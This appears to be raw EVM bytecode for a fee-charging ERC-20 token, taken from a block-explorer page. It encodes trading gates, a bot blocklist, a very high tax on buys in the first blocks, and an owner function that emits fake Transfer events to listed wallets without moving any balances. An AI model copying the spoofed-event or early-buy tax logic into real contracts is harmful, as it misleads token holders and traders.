2612abd919061383b565b612ac79190613852565b60236000828254612ad89190613874565b9091555050601d54601e54612aed908361383b565b612af79190613852565b60226000828254612b089190613874565b9091555050601d54602054612b1d908361383b565b612b279190613852565b60246000828254612b389190613874565b9091555050601d54602154612a3b908361383b565b6001600160a01b0387166000908152602a602052604090205460ff168015612b7757506000601854115b15612c5a57606460185486612b8c919061383b565b612b969190613852565b9050601854601a5482612ba9919061383b565b612bb39190613852565b60236000828254612bc49190613874565b9091555050601854601954612bd9908361383b565b612be39190613852565b60226000828254612bf49190613874565b9091555050601854601b54612c09908361383b565b612c139190613852565b60246000828254612c249190613874565b9091555050601854601c54612c39908361383b565b612c439190613852565b60256000828254612c549190613874565b90915550505b8015612c6b57612c6b87308361312f565b612c758186613a0b565b94505b612c8387878761312f565b50505050505050565b6001600160a01b038216612cec5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610dbe565b6001600160a01b03821660009081526020819052604090205481811015612d605760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610dbe565b81600754612d6e9190613a0b565b6001600160a01b03841660009081526020819052604081209190915560038054849290612d9c908490613a0b565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016120ef565b3060009081526020819052604081205490506000602454602254602354612e069190613874565b612e109190613874565b9050811580612e1d575080155b15612e26575050565b601054612e3490601461383b565b821115612e4c57601054612e4990601461383b565b91505b60008060028360235486612e60919061383b565b612e6a9190613852565b612e749190613852565b9050612e88612e838286613a0b565b613284565b60235447908190600090612e9e90600290613852565b612ea89087613a0b565b602254612eb5908561383b565b612ebf9190613852565b905060006002602354612ed29190613852565b612edc9088613a0b565b602454612ee9908661383b565b612ef39190613852565b9050612eff8183613874565b612f099084613a0b565b600060238190556022819055602481905560258190556012546040519295506001600160a01b031691839181818185875af1925050503d8060008114612f6b576040519150601f19603f3d011682016040523d82523d6000602084013e612f70565b606091505b50506011546040519197506001600160a01b0316904790600081818185875af1925050503d8060008114612fc0576040519150601f19603f3d011682016040523d82523d6000602084013e612fc5565b606091505b5050505050505050505050565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152602a60205260409020805460ff1916821515179055611b2582826133de565b60005b8151811015610e3857826028600084848151811061307557613075613887565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055508181815181106130c6576130c6613887565b60200260200101516001600160a01b03167f208348c2856cbb3459e7fb08ce4139a8ce344289790e895c283a96ff81780c2a8460405161310a911515815260200190565b60405180910390a28061311c8161389d565b915050613055565b600080610d08613441565b6001600160a01b0383166131555760405162461bcd60e51b8152600401610dbe90613983565b6001600160a01b03821661317b5760405162461bcd60e51b8152600401610dbe906139c8565b6001600160a01b038316600090815260208190526040902054818110156131f35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610dbe565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061322a908490613874565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161327691815260200190565b60405180910390a350505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106132b9576132b9613887565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015613312573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061333691906138ed565b8160018151811061334957613349613887565b6001600160a01b039283166020918202929092010152600e5461336f9130911684611fd7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906133a8908590600090869030904290600401613a1e565b600060405180830381600087803b1580156133c257600080fd5b505af11580156133d6573d6000803e3d6000fd5b505050505050565b6001600160a01b038216600081815260296020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6008546000906001600160a01b03161561346557506008546001600160a01b031690565b506009546001600160a01b031690565b600060208083528351808285015260005b818110156134a257858101830151858201604001528201613486565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461135057600080fd5b80356134e3816134c3565b919050565b600080604083850312156134fb57600080fd5b8235613506816134c3565b946020939093013593505050565b60006020828403121561352657600080fd5b8135613531816134c3565b9392505050565b60006020828403121561354a57600080fd5b5035919050565b60008060006060848603121561356657600080fd5b8335613571816134c3565b92506020840135613581816134c3565b929592945050506040919091013590565b801515811461135057600080fd5b80356134e381613592565b600080604083850312156135be57600080fd5b82356135c9816134c3565b915060208301356135d981613592565b809150509250929050565b6000806000604084860312156135f957600080fd5b833567ffffffffffffffff8082111561361157600080fd5b818601915086601f83011261362557600080fd5b81358181111561363457600080fd5b8760208260051b850101111561364957600080fd5b6020928301989097509590910135949350505050565b6000806000806080858703121561367557600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156136a457600080fd5b82356136af816134c3565b915060208301356135d9816134c3565b634e487b7160e01b600052604160045260246000fd5b6000806000606084860312156136ea57600080fd5b833567ffffffffffffffff8082111561370257600080fd5b818601915086601f83011261371657600080fd5b813560208282111561372a5761372a6136bf565b8160051b604051601f19603f8301168101818110868211171561374f5761374f6136bf565b60405292835281830193508481018201928a84111561376d57600080fd5b948201945b8386101561379257613783866134d8565b85529482019493820193613772565b97506137a190508882016135a0565b955050505050604084013590509250925092565b600181811c908216806137c957607f821691505b6020821081036137e957634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561380157600080fd5b5051919050565b60006020828403121561381a57600080fd5b815161353181613592565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610d0857610d08613825565b60008261386f57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610d0857610d08613825565b634e487b7160e01b600052603260045260246000fd5b6000600182016138af576138af613825565b5060010190565b6020808252601d908201527f4d757374206b656570206665657320617420323025206f72206c657373000000604082015260600190565b6000602082840312156138ff57600080fd5b8151613531816134c3565b600081518084526020808501945080840160005b838110156139435781516001600160a01b03168752958201959082019060010161391e565b509495945050505050565b848152608060208201526000613967608083018661390a565b6001600160a01b03949094166040830152506060015292915050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610d0857610d08613825565b85815284602082015260a060408201526000613a3d60a083018661390a565b6001600160a01b039490941660608301525060800152939250505056fea2646970667358221220e3983e6b84937a672091f241d6093b9d68baa33c8fc4b4df00671da37c37741b64736f6c63430008110033000000000000000000000000f66f02e1aedc72cb7842bca1f30eb157dc416065

Deployed Bytecode

0x6080604052600436106104145760003560e01c8063715018a61161021e578063c024666811610123578063e7ad9fcd116100ab578063f2fde38b1161007a578063f2fde38b14610bee578063f5648a4f14610c0e578063f637434214610c23578063f8b45b0514610c39578063fb002c9714610c4f57600080fd5b8063e7ad9fcd14610b8d578063e884f26014610bad578063ee40166e14610bc2578063f11a24d314610bd857600080fd5b8063d257786b116100f2578063d257786b14610ae5578063d85ba06314610b05578063dd62ed3e14610b1b578063e2f4560514610b61578063e71dc3f514610b7757600080fd5b8063c024666814610a64578063c2b7bbb614610a84578063c876d0b914610aa4578063d0d41fe114610ac557600080fd5b8063a457c2d7116101a6578063adb873bd11610175578063adb873bd146109c9578063b62496f5146109df578063b8eb354614610a0f578063b94279ea14610a25578063bbc0c74214610a4557600080fd5b8063a457c2d714610953578063a62068ce14610973578063a9059cbb14610989578063a9d3cd8a146109a957600080fd5b80639164f9db116101ed5780639164f9db146108dc57806395d89b41146108fc5780639c3b4fdc146109115780639fccce3214610927578063a0d82dc51461093d57600080fd5b8063715018a614610864578063751039fc1461087957806385ecfd281461088e5780638da5cb5b146108be57600080fd5b806342966c681161032457806358a6d531116102ac5780636b0a894c1161027b5780636b0a894c146107c25780636ddd1713146107d8578063707789c5146107f857806370a082311461081857806370db69d61461084e57600080fd5b806358a6d531146107465780635a139dd41461075d5780635f641758146107735780636a486a8e146107ac57600080fd5b806348ae238f116102f357806348ae238f146106c15780634a62bb65146106e15780634f77f6c0146106fb57806351f205e414610711578063588813041461072657600080fd5b806342966c681461064b578063452ed4f11461066b57806346cafe521461068b57806346f1f5de146106a157600080fd5b80631d777856116103a757806326ededb81161037657806326ededb8146105ba5780632e509103146105da5780632e6ed7ef146105ef578063313ce5671461060f578063395093511461062b57600080fd5b80631d7778561461054f5780631e146da81461056557806323b872dd1461057a578063249ec2bb1461059a57600080fd5b806310d5de53116103e357806310d5de53146104ca57806318160ddd146104fa5780631a8145bb146105195780631c499ab01461052f57600080fd5b806306fdde03146104205780630758d9241461044b578063095ea7b3146104835780630f054c06146104b357600080fd5b3661041b57005b600080fd5b34801561042c57600080fd5b50610435610c65565b6040516104429190613475565b60405180910390f35b34801561045757600080fd5b50600e5461046b906001600160a01b031681565b6040516001600160a01b039091168152602001610442565b34801561048f57600080fd5b506104a361049e3660046134e8565b610cf7565b6040519015158152602001610442565b3480156104bf57600080fd5b506104c8610d0e565b005b3480156104d657600080fd5b506104a36104e5366004613514565b60296020526000908152604090205460ff1681565b34801561050657600080fd5b506003545b604051908152602001610442565b34801561052557600080fd5b5061050b60235481565b34801561053b57600080fd5b506104c861054a366004613538565b610e3d565b34801561055b57600080fd5b5061050b60255481565b34801561057157600080fd5b506104c8610f23565b34801561058657600080fd5b506104a3610595366004613551565b610fda565b3480156105a657600080fd5b506104c86105b53660046135ab565b61109d565b3480156105c657600080fd5b506104c86105d53660046135e4565b611143565b3480156105e657600080fd5b506104c86111db565b3480156105fb57600080fd5b506104c861060a36600461365f565b6112a1565b34801561061b57600080fd5b5060405160098152602001610442565b34801561063757600080fd5b506104a36106463660046134e8565b611302565b34801561065757600080fd5b506104c8610666366004613538565b61133e565b34801561067757600080fd5b50600f5461046b906001600160a01b031681565b34801561069757600080fd5b5061050b60265481565b3480156106ad57600080fd5b506104c86106bc366004613538565b611353565b3480156106cd57600080fd5b506104a36106dc366004613691565b61147c565b3480156106ed57600080fd5b506017546104a39060ff1681565b34801561070757600080fd5b5061050b601e5481565b34801561071d57600080fd5b506104c8611662565b34801561073257600080fd5b506104c8610741366004613538565b611750565b34801561075257600080fd5b5060145443106104a3565b34801561076957600080fd5b5061050b60195481565b34801561077f57600080fd5b506104a361078e366004613514565b6001600160a01b031660009081526028602052604090205460ff1690565b3480156107b857600080fd5b5061050b601d5481565b3480156107ce57600080fd5b5061050b60165481565b3480156107e457600080fd5b506017546104a39062010000900460ff1681565b34801561080457600080fd5b506104c8610813366004613514565b61182c565b34801561082457600080fd5b5061050b610833366004613514565b6001600160a01b031660009081526020819052604090205490565b34801561085a57600080fd5b5061050b600b5481565b34801561087057600080fd5b506104c86118bb565b34801561088557600080fd5b506104c86118cd565b34801561089a57600080fd5b506104a36108a9366004613514565b60156020526000908152604090205460ff1681565b3480156108ca57600080fd5b506008546001600160a01b031661046b565b3480156108e857600080fd5b506104c86108f7366004613538565b61190d565b34801561090857600080fd5b506104356119ea565b34801561091d57600080fd5b5061050b601b5481565b34801561093357600080fd5b5061050b60245481565b34801561094957600080fd5b5061050b60205481565b34801561095f57600080fd5b506104a361096e3660046134e8565b6119f9565b34801561097f57600080fd5b5061050b60145481565b34801561099557600080fd5b506104a36109a43660046134e8565b611a92565b3480156109b557600080fd5b506104c86109c43660046135ab565b611ab5565b3480156109d557600080fd5b5061050b60215481565b3480156109eb57600080fd5b506104a36109fa366004613514565b602a6020526000908152604090205460ff1681565b348015610a1b57600080fd5b5061050b600c5481565b348015610a3157600080fd5b506104c8610a403660046135ab565b611b61565b348015610a5157600080fd5b506017546104a390610100900460ff1681565b348015610a7057600080fd5b506104c8610a7f3660046135ab565b611b94565b348015610a9057600080fd5b506104c8610a9f366004613514565b611bfb565b348015610ab057600080fd5b506017546104a3906301000000900460ff1681565b348015610ad157600080fd5b506104c8610ae0366004613514565b611c25565b348015610af157600080fd5b506104c8610b003660046136d5565b611ca5565b348015610b1157600080fd5b5061050b60185481565b348015610b2757600080fd5b5061050b610b36366004613691565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610b6d57600080fd5b5061050b60105481565b348015610b8357600080fd5b5061050b601c5481565b348015610b9957600080fd5b506104c8610ba836600461365f565b611e6f565b348015610bb957600080fd5b506104c8611f00565b348015610bce57600080fd5b5061050b60135481565b348015610be457600080fd5b5061050b601a5481565b348015610bfa57600080fd5b506104c8610c09366004613514565b611f17565b348015610c1a57600080fd5b506104c8611f8d565b348015610c2f57600080fd5b5061050b601f5481565b348015610c4557600080fd5b5061050b600d5481565b348015610c5b57600080fd5b5061050b60225481565b606060048054610c74906137b5565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca0906137b5565b8015610ced5780601f10610cc257610100808354040283529160200191610ced565b820191906000526020600020905b815481529060010190602001808311610cd057829003601f168201915b5050505050905090565b6000610d04338484611fd7565b5060015b92915050565b610d166120fc565b6040516370a0823160e01b815230600482018190529060009082906370a0823190602401602060405180830381865afa158015610d57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7b91906137ef565b905060008111610dc75760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610e14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e389190613808565b505050565b610e456120fc565b633b9aca006103e8610e5660035490565b610e6190600361383b565b610e6b9190613852565b610e759190613852565b811015610ed95760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610dbe565b610ee781633b9aca0061383b565b600d8190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc906020015b60405180910390a150565b610f2b6120fc565b601754610100900460ff1615610f835760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610dbe565b6017805462ffffff191662010100179055436013819055602654610fa691613874565b6014556006546007556040517fba61a96074b3d636edeee92caddc86293c917d5b6818b7d3698bb52e02ec86c890600090a1565b6001600160a01b038316600090815260026020526040812043905561100084848461215b565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156110855760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610dbe565b6110928533858403611fd7565b506001949350505050565b6110a56120fc565b8061111857600f546001600160a01b03908116908316036111185760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610dbe565b6001600160a01b03919091166000908152602960205260409020805460ff1916911515919091179055565b61114b6120fc565b60005b828110156111d55783838281811061116857611168613887565b905060200201602081019061117d9190613514565b600f546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806111cd8161389d565b91505061114e565b50505050565b6111e36120fc565b6014601e8190556000601f81905560208190556021819055908190611209908290613874565b6112139190613874565b61121d9190613874565b601d819055601410156112425760405162461bcd60e51b8152600401610dbe906138b6565b60198080556000601a819055601b819055601c819055908190611266908290613874565b6112709190613874565b61127a9190613874565b60188190556014101561129f5760405162461bcd60e51b8152600401610dbe906138b6565b565b6112a96120fc565b6019849055601a839055601b829055601c81905580826112c98587613874565b6112d39190613874565b6112dd9190613874565b6018819055601410156111d55760405162461bcd60e51b8152600401610dbe906138b6565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610d04918590611339908690613874565b611fd7565b6113466120fc565b6113503382612c8c565b50565b61135b6120fc565b620186a061136860035490565b61137390600161383b565b61137d9190613852565b8110156113ea5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610dbe565b6103e86113f660035490565b61140190600161383b565b61140b9190613852565b8111156114775760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610dbe565b601055565b60006114866120fc565b6001600160a01b0383166114dc5760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610dbe565b306001600160a01b038416036115345760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e73000000006044820152606401610dbe565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa15801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f91906137ef565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303816000875af11580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613808565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b61166a6120fc565b6010543060009081526020819052604090205410156116f3576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e6064820152608401610dbe565b600f805460ff60a01b1916600160a01b17905561170e612ddf565b600f805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a1565b6117586120fc565b633b9aca006103e861176960035490565b61177490600261383b565b61177e9190613852565b6117889190613852565b8110156117e95760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610dbe565b6117f781633b9aca0061383b565b600b8190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de4100990602001610f18565b6118346120fc565b6001600160a01b0381166118995760405162461bcd60e51b815260206004820152602660248201527f5f6f7065726174696f6e734164647265737320616464726573732063616e6e6f60448201526507420626520360d41b6064820152608401610dbe565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6118c36120fc565b61129f6000612fd2565b6118d56120fc565b6017805463ff000000191690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6119156120fc565b633b9aca006103e861192660035490565b61193190600261383b565b61193b9190613852565b6119459190613852565b8110156119a75760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610dbe565b6119b581633b9aca0061383b565b600c8190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610f18565b606060058054610c74906137b5565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015611a7b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610dbe565b611a883385858403611fd7565b5060019392505050565b336000908152600260205260408120439055610d04611aae3390565b848461215b565b611abd6120fc565b600f546001600160a01b0390811690831603611b1b5760405162461bcd60e51b815260206004820152601a60248201527f54686520706169722063616e6e6f742062652072656d6f7665640000000000006044820152606401610dbe565b611b258282613024565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b611b696120fc565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b611b9c6120fc565b6001600160a01b038216600081815260276020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b611c036120fc565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b611c2d6120fc565b6001600160a01b038116611c835760405162461bcd60e51b815260206004820152601f60248201527f5f6465764164647265737320616464726573732063616e6e6f742062652030006044820152606401610dbe565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b611cad6120fc565b81158015611cbb5750600081115b15611e65576040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015611d2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d4e91906138ed565b81600081518110611d6157611d61613887565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611d9557611d95613887565b6001600160a01b039283166020918202929092010152600e54855191169063b6f9de95908490600090859089908390611dd057611dd0613887565b6020026020010151426040518663ffffffff1660e01b8152600401611df8949392919061394e565b6000604051808303818588803b158015611e1157600080fd5b505af1158015611e25573d6000803e3d6000fd5b50505050507fa017c1567cfcdd2d750a8c01e39fe2a846bcebc293c7d078477014d68482056882604051611e5b91815260200190565b60405180910390a1505b610e388284613052565b611e776120fc565b601e849055601f839055602082905560218190558082611e978587613874565b611ea19190613874565b611eab9190613874565b601d819055601910156111d55760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610dbe565b611f086120fc565b6017805463ff00000019169055565b611f1f6120fc565b6001600160a01b038116611f845760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dbe565b61135081612fd2565b611f956120fc565b604051600090339047908381818185875af1925050503d80600081146111d5576040519150601f19603f3d011682016040523d82523d6000602084013e6111d5565b6001600160a01b0383166120395760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610dbe565b6001600160a01b03821661209a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610dbe565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b33612105613124565b6001600160a01b03161461129f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dbe565b6001600160a01b0383166121815760405162461bcd60e51b8152600401610dbe90613983565b6001600160a01b0382166121a75760405162461bcd60e51b8152600401610dbe906139c8565b600081116121f75760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610dbe565b601754610100900460ff1661228a576001600160a01b03831660009081526027602052604090205460ff168061224557506001600160a01b03821660009081526027602052604090205460ff165b61228a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610dbe565b6014541561235d576001600160a01b03831660009081526015602052604090205460ff1615806122c757506008546001600160a01b038381169116145b806122dc57506001600160a01b03821661dead145b61235d5760405162461bcd60e51b815260206004820152604660248201527f426f74732063616e6e6f74207472616e7366657220746f6b656e7320696e206f60448201527f72206f75742065786365707420746f206f776e6572206f722064656164206164606482015265323932b9b99760d11b608482015260a401610dbe565b6017546301000000900460ff16801561239357506001600160a01b03831660009081526028602052604090205460ff1615156001145b1561244b576008546001600160a01b038381169116148015906123c45750600f546001600160a01b03848116911614155b1561244b576123d4600343613a0b565b6001600160a01b0384166000908152600260205260409020541061244b5760405162461bcd60e51b815260206004820152602860248201527f5472616e736665722044656c617920656e61626c65642e20547279206167616960448201526737103630ba32b91760c11b6064820152608401610dbe565b60175460ff1615612753576008546001600160a01b0384811691161480159061248257506008546001600160a01b03838116911614155b801561249657506001600160a01b03821615155b80156124ad57506001600160a01b03821661dead14155b80156124d257506001600160a01b03831660009081526027602052604090205460ff16155b80156124f757506001600160a01b03821660009081526027602052604090205460ff16155b15612753576001600160a01b0383166000908152602a602052604090205460ff16801561253d57506001600160a01b03821660009081526029602052604090205460ff16155b1561261957600b548111156125a55760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610dbe565b600d546001600160a01b0383166000908152602081905260409020546125cb9083613874565b11156126145760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610dbe565b612753565b6001600160a01b0382166000908152602a602052604090205460ff16801561265a57506001600160a01b03831660009081526029602052604090205460ff16155b156126c457600c548111156126145760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610dbe565b6001600160a01b03821660009081526029602052604090205460ff1661275357600d546001600160a01b03831660009081526020819052604090205461270a9083613874565b11156127535760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610dbe565b306000908152602081905260409020546010548110801590819061277f575060175462010000900460ff165b80156127955750600f54600160a01b900460ff16155b80156127ba57506001600160a01b0385166000908152602a602052604090205460ff16155b80156127df57506001600160a01b03851660009081526027602052604090205460ff16155b801561280457506001600160a01b03841660009081526027602052604090205460ff16155b1561283257600f805460ff60a01b1916600160a01b179055612824612ddf565b600f805460ff60a01b191690555b6001600160a01b03851660009081526027602052604090205460019060ff168061287457506001600160a01b03851660009081526027602052604090205460ff165b1561287d575060005b60008115612c7857601454431080156128ae57506001600160a01b0387166000908152602a602052604090205460ff165b80156128d357506001600160a01b0386166000908152602a602052604090205460ff16155b80156128e157506000601854115b15612a61576001600160a01b03861660009081526015602052604090205460ff16612981576001600160a01b0386166000908152601560205260408120805460ff19166001908117909155601680549192909161293f908490613874565b90915550506040516001600160a01b03871681527f55678e47d0a699d3ab99b0184c4ff14f2246ba80522deb921aa0c8823578c44a9060200160405180910390a15b606461298e86606361383b565b6129989190613852565b9050601854601a54826129ab919061383b565b6129b59190613852565b602360008282546129c69190613874565b90915550506018546019546129db908361383b565b6129e59190613852565b602260008282546129f69190613874565b9091555050601854601b54612a0b908361383b565b612a159190613852565b60246000828254612a269190613874565b9091555050601854601c54612a3b908361383b565b612a459190613852565b60256000828254612a569190613874565b90915550612c5a9050565b6001600160a01b0386166000908152602a602052604090205460ff168015612a8b57506000601d54115b15612b4d576064601d5486612aa0919061383b565b612aaa9190613852565b9050601d54601f5482612abd919061383b565b612ac79190613852565b60236000828254612ad89190613874565b9091555050601d54601e54612aed908361383b565b612af79190613852565b60226000828254612b089190613874565b9091555050601d54602054612b1d908361383b565b612b279190613852565b60246000828254612b389190613874565b9091555050601d54602154612a3b908361383b565b6001600160a01b0387166000908152602a602052604090205460ff168015612b7757506000601854115b15612c5a57606460185486612b8c919061383b565b612b969190613852565b9050601854601a5482612ba9919061383b565b612bb39190613852565b60236000828254612bc49190613874565b9091555050601854601954612bd9908361383b565b612be39190613852565b60226000828254612bf49190613874565b9091555050601854601b54612c09908361383b565b612c139190613852565b60246000828254612c249190613874565b9091555050601854601c54612c39908361383b565b612c439190613852565b60256000828254612c549190613874565b90915550505b8015612c6b57612c6b87308361312f565b612c758186613a0b565b94505b612c8387878761312f565b50505050505050565b6001600160a01b038216612cec5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610dbe565b6001600160a01b03821660009081526020819052604090205481811015612d605760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610dbe565b81600754612d6e9190613a0b565b6001600160a01b03841660009081526020819052604081209190915560038054849290612d9c908490613a0b565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016120ef565b3060009081526020819052604081205490506000602454602254602354612e069190613874565b612e109190613874565b9050811580612e1d575080155b15612e26575050565b601054612e3490601461383b565b821115612e4c57601054612e4990601461383b565b91505b60008060028360235486612e60919061383b565b612e6a9190613852565b612e749190613852565b9050612e88612e838286613a0b565b613284565b60235447908190600090612e9e90600290613852565b612ea89087613a0b565b602254612eb5908561383b565b612ebf9190613852565b905060006002602354612ed29190613852565b612edc9088613a0b565b602454612ee9908661383b565b612ef39190613852565b9050612eff8183613874565b612f099084613a0b565b600060238190556022819055602481905560258190556012546040519295506001600160a01b031691839181818185875af1925050503d8060008114612f6b576040519150601f19603f3d011682016040523d82523d6000602084013e612f70565b606091505b50506011546040519197506001600160a01b0316904790600081818185875af1925050503d8060008114612fc0576040519150601f19603f3d011682016040523d82523d6000602084013e612fc5565b606091505b5050505050505050505050565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152602a60205260409020805460ff1916821515179055611b2582826133de565b60005b8151811015610e3857826028600084848151811061307557613075613887565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055508181815181106130c6576130c6613887565b60200260200101516001600160a01b03167f208348c2856cbb3459e7fb08ce4139a8ce344289790e895c283a96ff81780c2a8460405161310a911515815260200190565b60405180910390a28061311c8161389d565b915050613055565b600080610d08613441565b6001600160a01b0383166131555760405162461bcd60e51b8152600401610dbe90613983565b6001600160a01b03821661317b5760405162461bcd60e51b8152600401610dbe906139c8565b6001600160a01b0383166